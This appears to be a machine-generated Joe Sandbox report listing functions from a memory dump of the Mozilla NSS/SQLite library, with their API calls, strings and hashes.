Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: a5eee74318c0ad597207744aa6b6488ddf30638e8292928c1275693075b32928
Instruction ID: e37eff8023c1bd35c3cffec85bf7a4e7e5e646a6856dd99fea1bfd36a99f52c1
Opcode Fuzzy Hash: a5eee74318c0ad597207744aa6b6488ddf30638e8292928c1275693075b32928
Instruction Fuzzy Hash: 5C020570E08351CFFB108FA9E8847AEBBB8AF4A31CF244129D955A7F61D7709845CB91

Function 6CC26D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CD2A8EC,0000006C), ref: 6CC26DC6
memcpy.VCRUNTIME140(?,6CD2A958,0000006C), ref: 6CC26DDB
memcpy.VCRUNTIME140(?,6CD2A9C4,00000078), ref: 6CC26DF1
memcpy.VCRUNTIME140(?,6CD2AA3C,0000006C), ref: 6CC26E06
memcpy.VCRUNTIME140(?,6CD2AAA8,00000060), ref: 6CC26E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC26E38

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CC26E76
TlsGetValue.KERNEL32 ref: 6CC2726F
EnterCriticalSection.KERNEL32(?), ref: 6CC27283

Strings

!, xrefs: 6CC27123

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 8c01a542705deacae27d83289c4a153fec9a4e312397a2404931066f29ef5ba5
Instruction ID: 48ec53c730e34dddbf3faabb2efb12b0ff75c3b32cc7f21a1349953b58e60a99
Opcode Fuzzy Hash: 8c01a542705deacae27d83289c4a153fec9a4e312397a2404931066f29ef5ba5
Instruction Fuzzy Hash: 9D728CB5D052199FDF20DF29CC88B9ABBB5BF49304F1041A9D80DA7701EB35AA85CF91

Function 6CB93C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB93C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CB93D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB93EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB93ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB93F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB94052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB9406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB9410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB9449C

Strings

database corruption, xrefs: 6CB94490, 6CB944F4, 6CB94599, 6CB94764, 6CB94804
%s at line %d of [%.10s], xrefs: 6CB94495, 6CB944F9, 6CB9459E, 6CB94769, 6CB94809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB94452, 6CB94486, 6CB944EA, 6CB94571, 6CB94580, 6CB9458F, 6CB9475A, 6CB947FA

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 695238c034b8cc5756a6bb982a5c70b7464908255fa22c24d079721d1d54ebd6
Instruction ID: d9342c375f0846fbe2538729365df41e5250d73833bc6a13ffceea155cc33965
Opcode Fuzzy Hash: 695238c034b8cc5756a6bb982a5c70b7464908255fa22c24d079721d1d54ebd6
Instruction Fuzzy Hash: E382AF74A042559FDB04CF68C490B9E77B2FF4A318F2581A8D919ABB61E731EC42CF91

Function 6CC6AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC6ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CC6ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CC6ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CC6AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC6ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC6ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC6ADF0

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC6B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC6B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC6B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC6B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CC6B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC6B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC6B40C

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: f984593381f39e3eb573ddc6f79294973100b5db22e4170646d380a030a5964e
Instruction ID: fdeb5d8ebe6b32d4a00970afa118795717ec5ebc7462c162c6c73c846a29d663
Opcode Fuzzy Hash: f984593381f39e3eb573ddc6f79294973100b5db22e4170646d380a030a5964e
Instruction Fuzzy Hash: AB22B0B1904301AFE700CF16CD94B9A77E1AF84308F24856CF8585BB92F772E859DB96

Function 6CBB1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CBB25F3

Strings

%s.%s.%s, xrefs: 6CBB302D
H, xrefs: 6CBB322D
multiple recursive references: %s, xrefs: 6CBB22E0
access to view "%s" prohibited, xrefs: 6CBB2F4A
a NATURAL join may not have an ON or USING clause, xrefs: 6CBB32C1
no tables specified, xrefs: 6CBB26BE
no such index: "%s", xrefs: 6CBB319D
cannot join using column %s - column not present in both tables, xrefs: 6CBB32AB
%s.%s, xrefs: 6CBB2D68
recursive reference in a subquery: %s, xrefs: 6CBB22E5
'%s' is not a function, xrefs: 6CBB2FD2
no such table: %s, xrefs: 6CBB26AC
too many columns in result set, xrefs: 6CBB3012
too many references to "%s": max 65535, xrefs: 6CBB2FB6
table %s has %d values for %d columns, xrefs: 6CBB316C
unsafe use of virtual table "%s", xrefs: 6CBB30D1
cannot have both ON and USING clauses in the same join, xrefs: 6CBB32B5
H, xrefs: 6CBB329F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: e65f0732e3f1208be4ca6065e487ce093ae2b3231b1f919b563ddd21f46b7ee4
Instruction ID: eff90d01e664702af5926f789617b50468039e4802b78a37bc8c0c15bbf3806f
Opcode Fuzzy Hash: e65f0732e3f1208be4ca6065e487ce093ae2b3231b1f919b563ddd21f46b7ee4
Instruction Fuzzy Hash: 38D27C74E042898FDB04CF99C494BAEB7B1FF49308F288169D855BBB51DB31E846CB52

Function 6CBEECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CBEED38

Part of subcall function 6CB84F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB84FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CBEEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CBEEFE4

Part of subcall function 6CCADFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB85001,?,00000003,00000000), ref: 6CCADFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CBEF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CBEF129
sqlite3_mprintf.NSS3(optimize), ref: 6CBEF1D1
sqlite3_free.NSS3(?), ref: 6CBEF368

Strings

fts3tokenize, xrefs: 6CBEF30F
fts4aux, xrefs: 6CBEECF9
fts3_tokenizer, xrefs: 6CBEEE1A, 6CBEEEA8
fts4, xrefs: 6CBEF2AD
offsets, xrefs: 6CBEEFAF, 6CBEEFDF, 6CBEF01F
snippet, xrefs: 6CBEEF05, 6CBEEF37, 6CBEEF7C
simple, xrefs: 6CBEED79
unicode61, xrefs: 6CBEEDB5
porter, xrefs: 6CBEED97
optimize, xrefs: 6CBEF199, 6CBEF1CC, 6CBEF211
fts3, xrefs: 6CBEF247
matchinfo, xrefs: 6CBEF04F, 6CBEF082, 6CBEF0C2, 6CBEF0F2, 6CBEF124, 6CBEF169

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 0c9013498642617c2c997b237f9b46942ea3b35e607eebc7fd4f3c386b365b7a
Instruction ID: c9877704df60fa009b335f08d19f59e1354a0ea4b2cfeda377783d9f19c083a4
Opcode Fuzzy Hash: 0c9013498642617c2c997b237f9b46942ea3b35e607eebc7fd4f3c386b365b7a
Instruction Fuzzy Hash: 800203B1B043904BE7049F71A88572F37B5AFCAB48F14853CD95A87B50EB78E846C792

Function 6CC67C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC67C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CC67C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC67D1E

Part of subcall function 6CC67870: SECOID_FindOID_Util.NSS3(?,?,?,6CC691C5), ref: 6CC6788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC67D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CC67D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC67DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC67DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC67DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC67E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CC67E58

Part of subcall function 6CC67870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC691C5), ref: 6CC678BB
Part of subcall function 6CC67870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CC691C5), ref: 6CC678FA
Part of subcall function 6CC67870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CC691C5), ref: 6CC67930
Part of subcall function 6CC67870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC691C5), ref: 6CC67951
Part of subcall function 6CC67870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC67964
Part of subcall function 6CC67870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC6797A
Part of subcall function 6CC67870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CC67988
Part of subcall function 6CC67870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CC67998
Part of subcall function 6CC67870: free.MOZGLUE(00000000), ref: 6CC679A7
Part of subcall function 6CC67870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CC691C5), ref: 6CC679BB
Part of subcall function 6CC67870: PR_GetCurrentThread.NSS3(?,?,?,?,6CC691C5), ref: 6CC679CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC67E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC67F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC67F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC67FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC67FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CC68038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC68050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CC68093
SECOID_FindOID_Util.NSS3 ref: 6CC67F29

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC68072
SECOID_FindOID_Util.NSS3 ref: 6CC680F5

Part of subcall function 6CC6BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CC6800A,00000000,?,00000000,?), ref: 6CC6BC3F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: e7399d4eed7704c5f8529e352c89a07e227738fe73e24fc193e5bcdee51c15ce
Instruction ID: 397e7f83b59fe08f372ca58f54dc3330499b125e63f6740b159d1ac32f6c4e17
Opcode Fuzzy Hash: e7399d4eed7704c5f8529e352c89a07e227738fe73e24fc193e5bcdee51c15ce
Instruction Fuzzy Hash: 81E18C70A083009FE700CF2ACA80B5A77E5BF45308F14496DE99A9BF51F732E859DB52

Function 6CBF1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CBF1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CBF1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CBF1CA1
GetLengthSid.ADVAPI32(?), ref: 6CBF1CA9
malloc.MOZGLUE(00000000), ref: 6CBF1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CBF1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CBF1CE4
GetLengthSid.ADVAPI32(?), ref: 6CBF1CEC
malloc.MOZGLUE(00000000), ref: 6CBF1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CBF1D0F
CloseHandle.KERNEL32(?), ref: 6CBF1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CBF1D4D
GetLastError.KERNEL32 ref: 6CBF1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CBF1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CBF1D7A

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: fb37012604843a238be16583cf71f9fb8e1fb3f68782149db382c69b69e3ba34
Instruction ID: e6befd6b891f996afa486b3fb5b48e4d2596b54cfce4a3b40ce8f7bf121857a1
Opcode Fuzzy Hash: fb37012604843a238be16583cf71f9fb8e1fb3f68782149db382c69b69e3ba34
Instruction Fuzzy Hash: D83130B5A00218AFFB10AF64CC88BAA7BBCFF4E349F444165F70992650E7305994CF65

Function 6CBF3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBF3DFB
__allrem.LIBCMT ref: 6CBF3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBF4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBF40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF415F
__allrem.LIBCMT ref: 6CBF416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF42AB
__allrem.LIBCMT ref: 6CBF42B7

Strings

%04d, xrefs: 6CBF407B
%lld, xrefs: 6CBF3FB2
%03d, xrefs: 6CBF42E8
%02d, xrefs: 6CBF4086

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: c88d85593d27c96624142375bb783a52229631108b2a0848844eadd12218b52c
Instruction ID: e38dfbc8726e30f143aff70dcdcf5d8ed3de9d8395cd8d75b33bd4429295066b
Opcode Fuzzy Hash: c88d85593d27c96624142375bb783a52229631108b2a0848844eadd12218b52c
Instruction Fuzzy Hash: 3DF10471A087809FE715CF38C941A5BB7FAEF86304F148A2DF5A597B51E730D48A8B42

Function 6CBA1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBA1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBA1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CBA1FB7

Strings

sqlite_temp_master, xrefs: 6CBA1C5C
abort due to ROLLBACK, xrefs: 6CBA2223
unsupported file format, xrefs: 6CBA2188
unknown error, xrefs: 6CBA2291
another row available, xrefs: 6CBA2287
attached databases must use the same text encoding as main database, xrefs: 6CBA20CA
table, xrefs: 6CBA1C8B
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CBA1F83
no more rows available, xrefs: 6CBA2264
sqlite_master, xrefs: 6CBA1C61

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 738702cce1e80bbc51032b9a1cbdbae06a9480e9f983361b7f4d484d786371c1
Instruction ID: 7946afd2181f3fc9577c157e7655c492dd9b505bc59965b3e123bfafb45a7df1
Opcode Fuzzy Hash: 738702cce1e80bbc51032b9a1cbdbae06a9480e9f983361b7f4d484d786371c1
Instruction Fuzzy Hash: F612AB7060C3818FD715CF5AC084A5AB7E2EF85318F1889ADE8D99BB51D771E846CB83

Function 6CBC5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

u, xrefs: 6CBC81DA
-, xrefs: 6CBC62F9
NOCASE, xrefs: 6CBC8703
2, xrefs: 6CBC65B4
sub-select returns %d columns - expected %d, xrefs: 6CBC805F
BINARY, xrefs: 6CBC8708, 6CBC8737, 6CBC87B8
-, xrefs: 6CBC6228
ON clause references tables to its right, xrefs: 6CBC6BEC

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: fe4d965be52957efabf975914c203f83991ad07ef31252c27406b95b2b86f4a8
Instruction ID: 41521af5b34801b77669624900d350e6c036d54e1d3caa7d21c337c4b1fc2048
Opcode Fuzzy Hash: fe4d965be52957efabf975914c203f83991ad07ef31252c27406b95b2b86f4a8
Instruction Fuzzy Hash: 454370747083818FD304CF19C490A6AB7E2FF89318F148A6DE8999B752D775E846CB93

Function 6CC6EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

